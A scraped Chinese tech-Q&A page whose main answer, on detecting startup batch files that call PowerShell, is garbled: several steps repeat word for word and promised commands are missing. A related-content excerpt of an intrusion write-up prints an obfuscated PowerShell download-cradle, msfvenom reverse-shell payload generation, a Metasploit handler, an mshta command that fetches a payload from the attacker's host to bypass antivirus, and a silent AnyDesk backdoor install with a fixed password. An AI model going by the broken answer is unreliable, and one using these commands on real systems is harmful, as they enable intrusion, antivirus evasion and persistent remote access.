首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

如何检测Windows启动事件是否运行了调用powershell脚本的批处理文件

要检测Windows启动事件是否运行了调用PowerShell脚本的批处理文件,可以通过以下步骤进行:

  1. 创建一个批处理文件(例如:check_startup.bat),用于检测Windows启动事件。
  2. 在批处理文件中,使用Windows事件查看器(Event Viewer)命令行工具(wevtutil.exe)来查询系统事件日志,以检测启动事件是否发生。
  3. 在批处理文件中,使用Windows事件查看器(Event Viewer)命令行工具(wevtutil.exe)来查询系统事件日志,以检测启动事件是否发生。
  4. 该命令会查询系统事件日志中由Microsoft-Windows-Winlogon提供程序生成的EventID为12的事件,这是Windows启动事件的ID。
  5. 将查询结果输出到一个文本文件中,以便后续处理。
  6. 将查询结果输出到一个文本文件中,以便后续处理。
  7. 使用PowerShell脚本来解析文本文件,判断启动事件是否发生了调用PowerShell脚本的批处理文件。
  8. 使用PowerShell脚本来解析文本文件,判断启动事件是否发生了调用PowerShell脚本的批处理文件。
  9. 将上述PowerShell脚本保存为check_startup.ps1文件。
  10. 在批处理文件中调用PowerShell脚本来检测启动事件。
  11. 在批处理文件中调用PowerShell脚本来检测启动事件。

这样,当Windows启动事件发生时,批处理文件会调用PowerShell脚本来检测启动事件是否运行了调用PowerShell脚本的批处理文件。根据检测结果,可以进行相应的处理或记录日志。

请注意,以上答案中没有提及具体的腾讯云产品和产品介绍链接地址,因为该问题与云计算品牌商无关。如需了解腾讯云相关产品和服务,请参考腾讯云官方文档或咨询腾讯云官方支持。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

围绕PowerShell事件日志记录的攻防博弈战

PowerShell一直是网络攻防对抗中关注的热点技术,其具备的无文件特性、LotL特性以及良好的易用性使其广泛使用于各类攻击场景。为了捕获利用PowerShell的攻击行为,越来越多的安全从业人员使用PowerShell事件日志进行日志分析,提取Post-Exploitation等攻击记录,进行企业安全的监测预警、分析溯源及取证工作。随之而来,如何躲避事件日志记录成为攻防博弈的重要一环,围绕PowerShell事件查看器不断改善的安全特性,攻击者利用多种技巧与方法破坏PowerShell日志工具自身数据,以及事件记录的完整性。今年10月份微软发布补丁的CVE-2018-8415正是再次突破PowerShell事件查看器记录的又一方法,本文将细数PowerShell各大版本的日志功能安全特性,及针对其版本的攻击手段,品析攻防博弈中的攻击思路与技巧。

01

记一次从Jboss到3389远程桌面案例

翻看磁盘文件时发现“Exlive GPS车辆定位服务平台”安装目录下有一个conf.xml配置文件,存储着这个定位服务平台的相关配置信息,包括MSSQL数据库的用户和密码。 ipconfig /all命令下发现这台主机有两个网卡,公网:47.**.***.77,内网:10.28.176.131,两个内网DNS服务器:10.143.22.116、10.143.22.118,并且可以与外网进行通讯。 0x04 绕过主动防御上线 测试了以前常用的Powershell混淆法,不过已经被360主动防御拦了,微软defender也会检测ps1脚本内容。所有免杀和绕过方式都有时效性,一旦被公布被查杀和拦截也正常(早晚的事)。 powershell $a='IEX((new-object net.webclient).downloadstring(''ht';$b='tp://url:8888/360.ps1''))';IEX ($a+$b) web_delivery、hta_server模块肯定更不行了,最终我们是利用Mshta.exe白名单方式成功绕过360主动防御得到目标主机Session会话,执行getsystem即可提升为SYSTEM,执行命令如下。 1、生成载荷并编码 msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=155.**.***.16 lport=443 -f raw > /tmp/shellcode.bin cat /tmp/shellcode.bin | base64 -w 0 2、配置监听模块参数 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 155.**.***.16 set lport 443 exploit 3、目标主机执行载荷 mshta http://155.**.***.16:8888/bypass360.hta 注:mshta白名单貌似只能用x86的Payload,执行成功后会自动迁移至32位的rundll32.exe进程,所以就可能会出现由werfaylt.exe弹出的下图报错,所以个人建议在得到Session后迁移至x64进程,并执行taskkill /f /im werfaylt.exe命令将该进程结束掉。 0x05 绕过异地登录提醒 虽然已经是最高权限了,但由于这台主机为阿里云,且存在360主动防御,就不添加用户进行远程桌面连接了,因为360会拦截添加用户,而且远程桌面连接时会触发异地登录提醒。 为避免触发异地登录提醒,我们可以利用AnyDesk来进行绕过,将AnyDesk.exe和静默安装批处理文件上传至可读写目录中,然后在命令行下执行该批处理文件获取连接ID。 注:如果等待时间过长,一直卡着不动获取不到连接ID时可结束当前命令行,重新进入命令行执行anydesk --get-id命令来获取连接ID。 @echo off AnyDesk.exe --install "C:\ProgramData\AnyDesk" --silent echo licence_keyABC | "C:\ProgramData\AnyDesk\AnyDesk.exe" --register-licence echo anydesk!@# | "C:\ProgramData\AnyDesk\AnyDesk.exe" --set-password choice /t 10 /d y /n >nul for /f "delims=" %%i in ('anydesk --get-id') do set CID=%%i echo Connection ID Is: %CID% 接着我们使用静默安装批处理文件中设置的固定连接密码和获取到的连接ID即可连接到目标主机的远程桌面,成功的绕过了阿里云主机的异地登录提醒。 至此,全文结束,内网就不搞了!!!

03

深入浅出Windows BATCH

BATCH也就是批处理文件,有时简称为BAT,是Windows平台上的一种可运行脚本,与*nix(Linux和Unix)上的Shell脚本和其它的脚本(Perl,Python)等是一样的,实质上就是一个文本文件,可是用特定的软件去解释的时候,就变成了可运行脚本。在Windows上,可运行脚本就是BATCH文件,也叫批处理文件,这是从DOS时代遗留下来的名字,意思就是把非常多命令放到一起来运行。它的扩展名是*.bat,双击便可直接运行,在命令行(CMD或叫做命令提示符)以下也能够当作一个命令来运行。由于这是Windows支持的东西,所以仅仅能在Windows平台使用。(特殊情况除外,不要钻牛角尖,没意思的)。比方著名的Windows垃圾清理小工具就是一个BAT批处理文件。

01
领券